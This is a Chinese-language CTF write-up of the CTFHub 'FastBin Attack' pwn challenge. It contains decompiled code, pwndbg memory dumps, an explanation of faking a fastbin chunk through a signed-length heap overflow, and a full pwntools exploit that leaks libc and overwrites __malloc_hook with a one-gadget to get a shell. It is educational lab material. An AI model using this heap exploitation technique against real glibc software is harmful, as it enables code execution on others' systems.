| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
       | 
    
     int 
       __cdecl __noreturn main(
       int 
       argc, const char 
       *
       *
       argv, const char 
       *
       *
       envp)
      {
        
       init(argc, argv, envp);
        
       interface();
      }
      void __noreturn interface()
      {
        
       int 
       choice; 
       /
       / 
       [rsp
       +
       4h
       ] [rbp
       -
       Ch] BYREF
        
       unsigned __int64 v1; 
       /
       / 
       [rsp
       +
       8h
       ] [rbp
       -
       8h
       ]
        
       v1 
       = 
       __readfsqword(
       0x28u
       );
        
       while 
       ( 
       1 
       )
        
       {
          
       while 
       ( 
       1 
       )
          
       {
            
       menu();
       /
       / 
       打印菜单;输入
       1
       :申请heap;输入
       2
       :释放heap;输入
       3
       :打印Heap;输入
       4
       :编辑Heap
            
       __isoc99_scanf(
       "%d"
       , &choice);
            
       if 
       ( choice !
       = 
       1 
       )
              
       break
       ;
            
       add();
       /
       /
       申请heap,固定大小
       0x60
       ,最多申请
       10
       个
          
       }
          
       switch ( choice )
          
       {
            
       case 
       2
       :
              
       delete();
       /
       /
       释放heap,不清空heap,但是heapList的指针会置
       0
              
       break
       ;
            
       case 
       3
       :
              
       show();
       /
       /
       printf(
       "%s"
       ,heapList[index]
       -
       >heap)
              
       break
       ;
            
       case 
       4
       :
              
       edit();
       /
       /
       编辑heap中内容,有长度检查,但不完全有:) !!!EXP Point!!!
              
       break
       ;
            
       default:
              
       exit(
       -
       1
       );
          
       }
        
       }
      }
       | 
   
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
       | 
    
     unsigned __int64 add()
      {
        
       unsigned 
       int 
       i; 
       /
       / 
       [rsp
       +
       8h
       ] [rbp
       -
       1018h
       ]
        
       unsigned 
       int 
       index; 
       /
       / 
       [rsp
       +
       Ch] [rbp
       -
       1014h
       ]
        
       char v3[
       4096
       ]; 
       /
       / 
       [rsp
       +
       10h
       ] [rbp
       -
       1010h
       ] BYREF
        
       unsigned __int64 v4; 
       /
       / 
       [rsp
       +
       1018h
       ] [rbp
       -
       8h
       ]
        
       v4 
       = 
       __readfsqword(
       0x28u
       );
        
       memset(v3, 
       0
       , sizeof(v3));
        
       for 
       ( i 
       = 
       0
       ; i <
       = 
       9
       ; 
       +
       +
       i )
        
       {
          
       if 
       ( !
       *
       (&heapList 
       + 
       i) )                    
       /
       / 
       检测heapList下哪个索引没有使用
          
       {
            
       index 
       = 
       i;
            
       break
       ;
          
       }
        
       }
        
       if 
       ( i 
       =
       = 
       11 
       )                                
       /
       / 
       最多只能申请
       10
       个
        
       {
          
       puts(
       "wrong"
       );
          
       exit(
       0
       );
        
       }
        
       *
       (&heapList 
       + 
       index) 
       = 
       malloc(
       0x60uLL
       );       
       /
       / 
       固定申请
       0x60
       字节并存放于全局变量heapList中
        
       Size[index] 
       = 
       96
       ;
       /
       /
       没什么D用
        
       puts(
       "Done"
       );
        
       return 
       __readfsqword(
       0x28u
       ) ^ v4;
      }
       | 
   
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
       | 
    
     unsigned __int64 delete()
      {
        
       unsigned 
       int 
       index; 
       /
       / 
       [rsp
       +
       4h
       ] [rbp
       -
       Ch] BYREF
        
       unsigned __int64 v2; 
       /
       / 
       [rsp
       +
       8h
       ] [rbp
       -
       8h
       ]
        
       v2 
       = 
       __readfsqword(
       0x28u
       );
        
       puts(
       "Index:"
       );
        
       __isoc99_scanf(
       "%d"
       , &index);
        
       if 
       ( index > 
       0xB 
       )
        
       {
          
       puts(
       "wrong"
       );
          
       exit(
       0
       );
        
       }
        
       free(
       *
       (&heapList 
       + 
       index));
        
       *
       (&heapList 
       + 
       index) 
       = 
       0LL
       ;
       /
       /
       heap指针被置零了,没法double free
        
       Size[index] 
       = 
       0
       ;
        
       return 
       __readfsqword(
       0x28u
       ) ^ v2;
      }
       | 
   
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
       | 
    
     unsigned __int64 show()
      {
        
       unsigned 
       int 
       index; 
       /
       / 
       [rsp
       +
       4h
       ] [rbp
       -
       Ch] BYREF
        
       unsigned __int64 v2; 
       /
       / 
       [rsp
       +
       8h
       ] [rbp
       -
       8h
       ]
        
       v2 
       = 
       __readfsqword(
       0x28u
       );
        
       puts(
       "Index:"
       );
        
       __isoc99_scanf(
       "%d"
       , &index);
        
       if 
       ( 
       *
       (&heapList 
       + 
       index) )
          
       printf(
       "Content: %s\n"
       , (const char 
       *
       )
       *
       (&heapList 
       + 
       index));
       /
       /
       从堆指针起始按字符串打印内容
        
       return 
       __readfsqword(
       0x28u
       ) ^ v2;
      }
       | 
   
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
       | 
    
     unsigned __int64 edit()
      {
        
       int 
       readLength; 
       /
       / 
       [rsp
       +
       0h
       ] [rbp
       -
       10h
       ] BYREF
        
       unsigned 
       int 
       index; 
       /
       / 
       [rsp
       +
       4h
       ] [rbp
       -
       Ch] BYREF
        
       unsigned __int64 v3; 
       /
       / 
       [rsp
       +
       8h
       ] [rbp
       -
       8h
       ]
        
       v3 
       = 
       __readfsqword(
       0x28u
       );
        
       puts(
       "Index:"
       );
        
       __isoc99_scanf(
       "%d"
       , &index);
       /
       /
       用户输入要编辑的heap索引
        
       puts(
       "Size:"
       );
        
       __isoc99_scanf(
       "%d"
       , &readLength);
       /
       /
       用户输入要编辑的长度
        
       if 
       ( readLength <
       = 
       96 
       )
       /
       /
       有长度检查,但不完全有,有符号数比较输入负数绕过
        
       {
          
       if 
       ( 
       *
       (&heapList 
       + 
       index) )
          
       {
            
       puts(
       "Content:"
       );
            
       read(
       0
       , 
       *
       (&heapList 
       + 
       index), (unsigned 
       int
       )readLength);
       /
       /
       read长度参数是无符号数
          
       }
          
       else
          
       {
            
       puts(
       "wrong"
       );
          
       }
        
       }
        
       else
        
       {
          
       puts(
       "wrong!"
       );
        
       }
        
       return 
       __readfsqword(
       0x28u
       ) ^ v3;
      }
       | 
   
根据IDA静态分析已知存在堆溢出漏洞,且申请的堆大小固定,释放后会进入fastbins,所以考虑通过篡改fastbin->fd来申请fakeChunk,现查找可利用的fd
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
       | 
    
     pwndbg> x
       /
       30gx 
       0x6020c0
       -
       0x50
      0x602070
       :    
       0x0000000000000000    
       0x0000000000000000
      0x602080 
       <stdout@@GLIBC_2.
       2.5
       >:    
       0x00007ffff7bc4620    
       0x0000000000000000
      0x602090 
       <stdin@@GLIBC_2.
       2.5
       >:    
       0x00007ffff7bc38e0    
       0x0000000000000000
      0x6020a0 
       <stderr@@GLIBC_2.
       2.5
       >:    
       0x00007ffff7bc4540    
       0x0000000000000000
      0x6020b0
       :    
       0x0000000000000000    
       0x0000000000000000
      0x6020c0 
       <heapList>:    
       0x0000000000000000    
       0x0000000000000000
      0x6020d0 
       <heapList
       +
       16
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x6020e0 
       <heapList
       +
       32
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x6020f0 
       <heapList
       +
       48
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x602100 
       <heapList
       +
       64
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x602110
       :    
       0x0000000000000000    
       0x0000000000000000
      0x602120 
       <Size>:    
       0x0000000000000000    
       0x0000000000000000
      0x602130 
       <Size
       +
       16
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x602140 
       <Size
       +
       32
       >:    
       0x0000000000000000    
       0x0000000000000000
       | 
   
其中0x6020c0是全局变量heapList的地址,其中存着每一个heap的指针,如果可以将该指针修改就可以达到任意读/写,并且在heapList上方存在可利用的内容,通过字节错位将fd指针定于0x60209d,内存如下
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
       | 
    
     pwndbg> x
       /
       30gx 
       0x60209d
      0x60209d
       :    
       0xfff7bc4540000000    
       0x000000000000007f
      0x6020ad
       :    
       0x0000000000000000    
       0x0000000000000000
      0x6020bd
       :    
       0x0000000000000000    
       0x0000000000000000
      0x6020cd 
       <ptr
       +
       13
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x6020dd 
       <ptr
       +
       29
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x6020ed 
       <ptr
       +
       45
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x6020fd 
       <ptr
       +
       61
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x60210d 
       <ptr
       +
       77
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x60211d
       :    
       0x0000000000000000    
       0x0000000000000000
      0x60212d 
       <Size
       +
       13
       >:    
       0x0000000000000000    
       0x0000000000000000
      0x60213d 
       <Size
       +
       29
       >:    
       0x0000000000000000    
       0x0000000000000000
       | 
   
可以看到若chunk->fd=0x60209d时,size字段为0x7f即0111 1111,而其中末4位为标志位高到低分别是PREV_INUSE IS_MMAPPED NON_MAIN_ARENA SIZE_BITS,既实际大小为0111 0000即0x70,由于我们申请的heap大小固定为0x60,加上字段大小后即0x70,最终的fastbins大小分类一致,可用作构造FakeChunk
根据分析可以总结出一下三点:
0x60,释放后进入fastbins均属于大小分类0x70heapList上方存在可用于构造FakeChunk的内存区根据分析已知
heap最终都将进入fastbins->0x70分类链表中heapList上方存在可利用内存区用以构造FakeChunk根据上述条件准备进行以下攻击
edit()函数溢出并篡改heap#1的fd指针指向0x60209dfakeChunk->0x60209dedit()修改heap#2填充13字节的payload到达0x6020C0既heapList[0]并向其中填入puts@gotshow()函数打印出*heapList[0]即puts函数地址并计算出libcBaseedit()再次修改heap#2以篡改heapList[0]值为&__malloc_hook或&__free_hookedit()修改heap#0以篡改__malloc_hook或__free_hook以执行oneGadget对于glibc堆管理的各类bins详细请参见
CTF竞赛权威指南(Pwn篇)->11.1.3章
以下为简述:
程序中申请的大小为0x60的heap释放后均会进入fastbins->0x70分类中(由于glibc版本问题所以并不会进入tcache,调试时请注意使用的glibc版本);
fastbins是一个后进先出的单链表,除分类中第一个进入的chunk外的每一个chunk->fd字段都指向上一个进入fastbins的chunk,也即当前chunk#1被弹出后下一个应该被弹出的chunk#0,既然这样我们就可以通过申请连续的chunk#0 chunk#1 chunk2并按顺序释放#chunk2、#chunk1,此时的chunk1->fd为#chunk2,意为当我们再次申请大小为0x60时会弹出chunk1并将chunk->fd作为下一个预备弹出的chunk
此时我们通过edit()编辑chunk#0并且使用堆溢出篡改chunk1->fd使其指向一个fakeChunk,以达到读写fakeChunk的目的;注意:该FakeChunk->size需要符合fastbins的大小分类即0x70,根据上述分析已知在全局变量heapList上方存在符合条件的FakeChunk内存区,所以我们将chunk#1->fd指向该内存区,将其申请到手后可即可结合show() edit()进行任意读写
可以任意读后即可泄露LibcBase,将函数got地址填入heapList[0]后使用show()函数即可达到泄露,而将&__malloc_hook或&__free_hook填入即可篡改此两个hook的指向,此两个hook的指向在分别在malloc()和free()函数调用时被调用,所以我们可以向其中填入oneGadget并再次调用add()或者delete()使其执行并且getShell
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
       | 
    
     from 
       pwn 
       import 
       *
      prog 
       = 
       "./pwn"
      local 
       = 
       False
      context(os
       =
       'linux'
       , arch
       =
       'amd64'
       , log_level
       =
       'debug'
       )
      elf 
       = 
       ELF(
       "./pwn"
       )
      libc 
       = 
       ELF(
       "./libc-2.23.so"
       )
      if 
       local:
          
       p 
       = 
       process(prog)
          
       libc 
       = 
       ELF(
       "/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6"
       )
          
       #gdb.attach(p)
          
       sleep(
       1
       )
      else
       :
          
       p 
       = 
       remote(
       "challenge-9647de804cb6da45.sandbox.ctfhub.com"
       ,
       34306
       )
      def 
       add():
          
       p.sendlineafter(
       ">> "
       ,
       "1"
       )
      def 
       show(index):
          
       p.sendlineafter(
       ">> "
       ,
       "3"
       )
          
       p.sendlineafter(
       "Index:\n"
       ,
       str
       (index))
      def 
       dele(index):
          
       p.sendlineafter(
       ">> "
       ,
       "2"
       )
          
       p.sendlineafter(
       "Index:\n"
       ,
       str
       (index))
      def 
       edit(index,content):
          
       p.sendlineafter(
       ">> "
       ,
       "4"
       )
          
       p.sendlineafter(
       "Index:\n"
       ,
       str
       (index))
          
       p.sendlineafter(
       "Size:\n"
       ,
       "-1"
       )
          
       p.sendafter(
       "Content:\n"
       ,content)
      add()
       #0
      add()
       #1
      add()
       #2
      dele(
       2
       )
      dele(
       1
       )
      payload 
       = 
       b
       "\x99"
       *
       0x60
      payload 
       +
       = 
       b
       "\x11"
       *
       8
      payload 
       +
       = 
       p64(
       0x71
       )
      payload 
       +
       = 
       p64(
       0x60209d
       )
      edit(
       0
       ,payload)
      add()
       #1
      add()
       #2 fakeChunk->heapList-0x13
      payload 
       = 
       b
       "\x66"
       *
       0x13
      payload 
       +
       = 
       p64(elf.got[
       'puts'
       ])
      edit(
       2
       ,payload) 
       #此时heap#0指向puts@got
      show(
       0
       )
      putsAddress 
       = 
       u64(p.recvuntil(
       "\x7f"
       )[
       -
       6
       :].ljust(
       8
       ,b
       "\x00"
       ))
      print
       (
       "putsAddress ===========> {}"
       .
       format
       (
       hex
       (putsAddress)))
      libcBase 
       = 
       putsAddress 
       - 
       libc.sym[
       'puts'
       ]
      mallocHook 
       = 
       libcBase 
       + 
       libc.sym[
       '__malloc_hook'
       ]
      payload 
       = 
       b
       "\x66"
       *
       0x13
      payload 
       +
       = 
       p64(mallocHook)
      edit(
       2
       ,payload) 
       #此时heap#0指向mallocHook
      oneGadget 
       = 
       0x45226
       +
       libcBase
      edit(
       0
       ,p64(oneGadget))
       #篡改mallocHook指向oneGadget
      add()
      p.interactive()
      p.close()
       | 
   
更多【[writeup]CTFHUB-FastBin Attack】相关视频教程:www.yxfzedu.com